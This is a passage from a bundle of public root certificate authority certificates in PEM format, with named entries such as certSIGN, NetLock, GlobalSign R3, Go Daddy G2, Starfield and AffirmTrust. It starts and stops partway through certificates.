sP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTEW9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmOD
BCEIZ43ygknQW/2xzQ+DhNQ+IIX3Sj0rnP0qCglN6oH4EZw=
-----END CERTIFICATE-----

certSIGN ROOT CA
================
-----BEGIN CERTIFICATE-----
MIIDODCCAiCgAwIBAgIGIAYFFnACMA0GCSqGSIb3DQEBBQUAMDsxCzAJBgNVBAYTAlJPMREwDwYD
VQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBDQTAeFw0wNjA3MDQxNzIwMDRa
Fw0zMTA3MDQxNzIwMDRaMDsxCzAJBgNVBAYTAlJPMREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UE
CxMQY2VydFNJR04gUk9PVCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALczuX7I
JUqOtdu0KBuqV5Do0SLTZLrTk+jUrIZhQGpgV2hUhE28alQCBf/fm5oqrl0Hj0rDKH/v+yv6efHH
rfAQUySQi2bJqIirr1qjAOm+ukbuW3N7LBeCgV5iLKECZbO9xSsAfsT8AzNXDe3i+s5dRdY4zTW2
ssHQnIFKquSyAVwdj1+ZxLGt24gh65AIgoDzMKND5pCCrlUoSe1b16kQOA7+j0xbm0bqQfWwCHTD
0IgztnzXdN/chNFDDnU5oSVAKOp4yw4sLjmdjItuFhwvJoIQ4uNllAoEwF73XVv4EOLQunpL+943
AAAaWyjj0pxzPjKHmKHJUS/X3qwzs08CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8B
Af8EBAMCAcYwHQYDVR0OBBYEFOCMm9slSbPxfIbWskKHC9BroNnkMA0GCSqGSIb3DQEBBQUAA4IB
AQA+0hyJLjX8+HXd5n9liPRyTMks1zJO890ZeUe9jjtbkw9QSSQTaxQGcu8J06Gh40CEyecYMnQ8
SG4Pn0vU9x7Tk4ZkVJdjclDVVc/6IJMCopvDI5NOFlV2oHB5bc0hH88vLbwZ44gx+FkagQnIl6Z0
x2DEW8xXjrJ1/RsCCdtZb3KTafcxQdaIOL+Hsr0Wefmq5L6IJd1hJyMctTEHBDa0GpC9oHRxUIlt
vBTjD4au8as+x6AJzKNI0eDbZOeStc+vckNwi/nDhDwTqn6Sm1dTk/pwwpEOMfmbZ13pljheX7Nz
TogVZ96edhBiIL5VaZVDADlN9u6wWk5JRFRYX0KD
-----END CERTIFICATE-----

NetLock Arany (Class Gold) Főtanúsítvány
========================================
-----BEGIN CERTIFICATE-----
MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQGEwJIVTERMA8G
A1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3MDUGA1UECwwuVGFuw7pzw610
dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBB
cmFueSAoQ2xhc3MgR29sZCkgRsWRdGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgx
MjA2MTUwODIxWjCBpzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxO
ZXRMb2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNzIEdvbGQpIEbFkXRhbsO6
c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCRec75LbRTDofTjl5Bu
0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrTlF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw
/HpYzY6b7cNGbIRwXdrzAZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAk
H3B5r9s5VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRGILdw
fzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2BJtr+UBdADTHLpl1
neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAGAQH/AgEEMA4GA1UdDwEB/wQEAwIB
BjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2MU9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwW
qZw8UQCgwBEIBaeZ5m8BiFRhbvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTta
YtOUZcTh5m2C+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC
bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2FuLjbvrW5Kfna
NwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2XjG4Kvte9nHfRCaexOYNkbQu
dZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E=
-----END CERTIFICATE-----

Microsec e-Szigno Root CA 2009
==============================
-----BEGIN CERTIFICATE-----
MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYDVQQGEwJIVTER
MA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jv
c2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o
dTAeFw0wOTA2MTYxMTMwMThaFw0yOTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UE
BwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUt
U3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvPkd6mJviZpWNwrZuuyjNA
fW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tccbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG
0IMZfcChEhyVbUr02MelTTMuhTlAdX4UfIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKA
pxn1ntxVUwOXewdI/5n7N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm
1HxdrtbCxkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1+rUC
AwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTLD8bf
QkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAbBgNVHREE
FDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqGSIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0o
lZMEyL/azXm4Q5DwpL7v8u8hmLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfX
I/OMn74dseGkddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775
tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c2Pm2G2JwCz02
yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5tHMN1Rq41Bab2XD0h7lbwyYIi
LXpUq3DDfSJlgnCW
-----END CERTIFICATE-----

GlobalSign Root CA - R3
=======================
-----BEGIN CERTIFICATE-----
MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xv
YmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh
bFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT
aWduIFJvb3QgQ0EgLSBSMzETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln
bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWt
iHL8RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsTgHeMCOFJ
0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmmKPZpO/bLyCiR5Z2KYVc3
rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zdQQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjl
OCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZXriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2
xmmFghcCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE
FI/wS3+oLkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZURUm7
lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMpjjM5RcOO5LlXbKr8
EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK6fBdRoyV3XpYKBovHd7NADdBj+1E
bddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQXmcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18
YIvDQVETI53O9zJrlAGomecsMx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7r
kpeDMdmztcpHWD9f
-----END CERTIFICATE-----

Izenpe.com
==========
-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----

Go Daddy Root Certificate Authority - G2
========================================
-----BEGIN CERTIFICATE-----
MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMu
MTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5
MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6
b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8G
A1UEAxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKDE6bFIEMBO4Tx5oVJnyfq
9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD
+qK+ihVqf94Lw7YZFAXK6sOoBJQ7RnwyDfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutd
fMh8+7ArU6SSYmlRJQVhGkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMl
NAJWJwGRtDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEAAaNC
MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFDqahQcQZyi27/a9
BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmXWWcDYfF+OwYxdS2hII5PZYe096ac
vNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r
5N9ss4UXnT3ZJE95kTXWXwTrgIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYV
N8Gb5DKj7Tjo2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO
LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI4uJEvlz36hz1
-----END CERTIFICATE-----

Starfield Root Certificate Authority - G2
=========================================
-----BEGIN CERTIFICATE-----
MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s
b2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVsZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0
eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAw
DgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQg
VGVjaG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZpY2F0ZSBB
dXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3twQP89o/8ArFv
W59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMgnLRJdzIpVv257IzdIvpy3Cdhl+72WoTs
bhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNk
N3mSwOxGXn/hbVNMYq/NHwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7Nf
ZTD4p7dNdloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0HZbU
JtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
AQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0GCSqGSIb3DQEBCwUAA4IBAQARWfol
TwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjUsHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx
4mcujJUDJi5DnUox9g61DLu34jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUw
F5okxBDgBPfg8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K
pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1mMpYjn0q7pBZ
c2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0
-----END CERTIFICATE-----

Starfield Services Root Certificate Authority - G2
==================================================
-----BEGIN CERTIFICATE-----
MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMxEDAOBgNVBAgT
B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s
b2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVsZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRl
IEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNV
BAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxT
dGFyZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2VydmljZXMg
Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20pOsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2
h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm28xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4Pa
hHQUw2eeBGg6345AWh1KTs9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLP
LJGmpufehRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk6mFB
rMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAwDwYDVR0TAQH/BAUw
AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+qAdcwKziIorhtSpzyEZGDMA0GCSqG
SIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMIbw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPP
E95Dz+I0swSdHynVv/heyNXBve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTy
xQGjhdByPq1zqwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd
iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn0q23KXB56jza
YyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCNsSi6
-----END CERTIFICATE-----

AffirmTrust Commercial
======================
-----BEGIN CERTIFICATE-----
MIIDTDCCAjSgAwIBAgIId3cGJyapsXwwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UEBhMCVVMxFDAS
BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMB4XDTEw
MDEyOTE0MDYwNloXDTMwMTIzMTE0MDYwNlowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly
bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEA9htPZwcroRX1BiLLHwGy43NFBkRJLLtJJRTWzsO3qyxPxkEylFf6Eqdb
DuKPHx6GGaeqtS25Xw2Kwq+FNXkyLbscYjfysVtKPcrNcV/pQr6U6Mje+SJIZMblq8Yrba0F8PrV
C8+a5fBQpIs7R6UjW3p6+DM/uO+Zl+MgwdYoic+U+7lF7eNAFxHUdPALMeIrJmqbTFeurCA+ukV6
BfO9m2kVrn1OIGPENXY6BwLJN/3HR+7o8XYdcxXyl6S1yHp52UKqK39c/s4mT6NmgTWvRLpUHhww
MmWd5jyTXlBOeuM61G7MGvv50jeuJCqrVwMiKA1JdX+3KNp1v47j3A55MQIDAQABo0IwQDAdBgNV
HQ4EFgQUnZPGU4teyq8/nx4P5ZmVvCT2lI8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
AQYwDQYJKoZIhvcNAQELBQADggEBAFis9AQOzcAN/wr91LoWXym9e2iZWEnStB03TX8nfUYGXUPG
hi4+c7ImfU+TqbbEKpqrIZcUsd6M06uJFdhrJNTxFq7YpFzUf1GO7RgBsZNjvbz4YYCanrHOQnDi
qX0GJX0nof5v7LMeJNrjS1UaADs1tDvZ110w/YETifLCBivtZ8SOyUOyXGsViQK8YvxO8rUzqrJv
0wqiUOP2O+guRMLbZjipM1ZI8W0bM40NjD9gN53Tym1+NH4Nn3J2ixufcv1SNUFFApYvHLKac0kh
sUlHRUe072o0EclNmsxZt9YCnlpOZbWUrhvfKbAW8b8Angc6F2S1BLUjIZkKlTuXfO8=
-----END CERTIFICATE-----

AffirmTrust Networking
======================
-----BEGIN CERTIFICATE-----
MIIDTDCCAjSgAwIBAgIIfE8EORzUmS0wDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UEBhMCVVMxFDAS
BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMB4XDTEw
MDEyOTE0MDgyNFoXDTMwMTIzMTE0MDgyNFowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly
bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAtITMMxcua5Rsa2FSoOujz3mUTOWUgJnLVWREZY9nZOIG41w3SfYvm4SE
Hi3yYJ0wTsyEheIszx6e/jarM3c1RNg1lho9Nuh6DtjVR6FqaYvZ/Ls6rnla1fTWcbuakCNrmreI
dIcMHl+5ni36q1Mr3Lt2PpNMCAiMHqIjHNRqrSK6mQEubWXLviRmVSRLQESxG9fhwoXA3hA/Pe24
/PHxI1Pcv2WXb9n5QHGNfb2V1M6+oF4nI979ptAmDgAp6zxG8D1gvz9Q0twmQVGeFDdCBKNwV6gb
h+0t+nvujArjqWaJGctB+d1ENmHP4ndGyH329JKBNv3bNPFyfvMMFr20FQIDAQABo0IwQDAdBgNV
HQ4EFgQUBx/S55zawm6iQLSwelAQUHTEyL0wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
AQYwDQYJKoZIhvcNAQEFBQADggEBAIlXshZ6qML91tmbmzTCnLQyFE2npN/svqe++EPbkTfOtDIu
UFUaNU52Q3Eg75N3ThVwLofDwR1t3Mu1J9QsVtFSUzpE0nPIxBsFZVpikpzuQY0x2+c06lkh1QF6
12S4ZDnNye2v7UsDSKegmQGA3GWjNq5lWUhPgkvIZfFXHeVZLgo/bNjR9eUJtGxUAArgFU2HdW23
WJZa3W3SAKD0m0i+wzekujbgfIeFlxoVot4uolu9rxj5kFDNcFn4J2dHy8egBzp90SxdbBk6ZrV9
/ZFvgrG+CJPbFEfxojfHRZ48x3evZKiT3/Zpg4Jg8klCNO1aAFSFHBY2kgxc+qatv9s=
-----END CERTIFICATE-----

AffirmTrust Premium
===================
-----BEGIN CERTIFICATE-----
MIIFRjCCAy6gAwIBAgIIbYwURrGmCu4wDQYJKoZIhvcNAQEMBQAwQTELMAkGA1UEBhMCVVMxFDAS
BgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMB4XDTEwMDEy
OTE0MTAzNloXDTQwMTIzMTE0MTAzNlowQTELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRy
dXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
MIICCgKCAgEAxBLfqV/+Qd3d9Z+K4/as4Tx4mrzY8H96oDMq3I0gW64tb+eT2TZwamjPjlGjhVtn
BKAQJG9dKILBl1fYSCkTtuG+kU3fhQxTGJoeJKJPj/CihQvL9Cl/0qRY7iZNyaqoe5rZ+jjeRFcV
5fiMyNlI4g0WJx0eyIOFJbe6qlVBzAMiSy2RjYvmia9mx+n/K+k8rNrSs8PhaJyJ+HoAVt70VZVs
+7pk3WKL3wt3MutizCaam7uqYoNMtAZ6MMgpv+0GTZe5HMQxK9VfvFMSF5yZVylmd2EhMQcuJUmd
GPLu8ytxjLW6OQdJd/zvLpKQBY0tL3d770O/Nbua2Plzpyzy0FfuKE4mX4+QaAkvuPjcBukumj5R
p9EixAqnOEhss/n/fauGV+O61oV4d7pD6kh/9ti+I20ev9E2bFhc8e6kGVQa9QPSdubhjL08s9NI
S+LI+H+SqHZGnEJlPqQewQcDWkYtuJfzt9WyVSHvutxMAJf7FJUnM7/oQ0dG0giZFmA7mn7S5u04
6uwBHjxIVkkJx0w3AJ6IDsBz4W9m6XJHMD4Q5QsDyZpCAGzFlH5hxIrff4IaC1nEWTJ3s7xgaVY5
/bQGeyzWZDbZvUjthB9+pSKPKrhC9IK31FOQeE4tGv2Bb0TXOwF0lkLgAOIua+rF7nKsu7/+6qqo
+Nz2snmKtmcCAwEAAaNCMEAwHQYDVR0OBBYEFJ3AZ6YMItkm9UWrpmVSESfYRaxjMA8GA1UdEwEB
/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBDAUAA4ICAQCzV00QYk465KzquByv
MiPIs0laUZx2KI15qldGF9X1Uva3ROgIRL8YhNILgM3FEv0AVQVhh0HctSSePMTYyPtwni94loMg
Nt58D2kTiKV1NpgIpsbfrM7jWNa3Pt668+s0QNiigfV4Py/VpfzZotReBA4Xrf5B8OWycvpEgjNC
6C1Y91aMYj+6QrCcDFx+LmUmXFNPALJ4fqENmS2NuB2OosSw/WDQMKSOyARiqcTtNd56l+0OOF6S
L5Nwpamcb6d9Ex1+xghIsV5n61EIJenmJWtSKZGc0jlzCFfemQa0W50QBuHCAKi4HEoCChTQwUHK
